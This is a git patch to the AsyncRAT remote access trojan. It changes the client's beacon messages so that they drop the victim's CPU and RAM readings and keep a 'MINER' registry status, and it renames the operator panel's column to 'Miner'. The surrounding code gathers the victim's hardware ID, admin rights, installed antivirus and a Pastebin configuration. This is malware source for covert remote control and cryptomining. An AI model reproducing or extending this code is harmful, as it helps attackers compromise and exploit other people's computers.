From 3df9f99e41e0e737d70b29ff8caf1e1ea897bb0d Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 20 Dec 2019 03:38:54 +0300 Subject: [PATCH] removed client CPU usage --- AsyncRAT-C#/Client/Connection/ClientSocket.cs | 9 +-------- AsyncRAT-C#/Client/Helper/IdSender.cs | 6 +----- AsyncRAT-C#/Server/Forms/Form1.Designer.cs | 2 +- 3 files changed, 3 insertions(+), 14 deletions(-) diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index a9a0e2a1..f49ff6bc 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -256,14 +256,7 @@ public static void KeepAlivePacket(object obj) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; - try - { - msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%"; - } - catch - { - msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}"; - } + msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}"; Send(msgpack.Encode2Bytes()); Ping?.Dispose(); Interval = 0; diff --git a/AsyncRAT-C#/Client/Helper/IdSender.cs b/AsyncRAT-C#/Client/Helper/IdSender.cs index 071a0517..2375ab00 100644 --- a/AsyncRAT-C#/Client/Helper/IdSender.cs +++ b/AsyncRAT-C#/Client/Helper/IdSender.cs @@ -9,9 +9,6 @@ namespace Client.Helper { public static class IdSender { - public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); - public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); - public static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); @@ -23,8 +20,7 @@ public static byte[] SendInfo() msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath; msgpack.ForcePathObject("Version").AsString = Settings.Version; msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User"); - TheCPUCounter.NextValue(); - msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}"; msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin; msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus(); msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString(); diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 8b8a2b02..d11a8533 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -226,7 +226,7 @@ private void InitializeComponent() // // lv_prefor // - this.lv_prefor.Text = "Performance"; + this.lv_prefor.Text = "Miner"; this.lv_prefor.Width = 200; // // contextMenuClient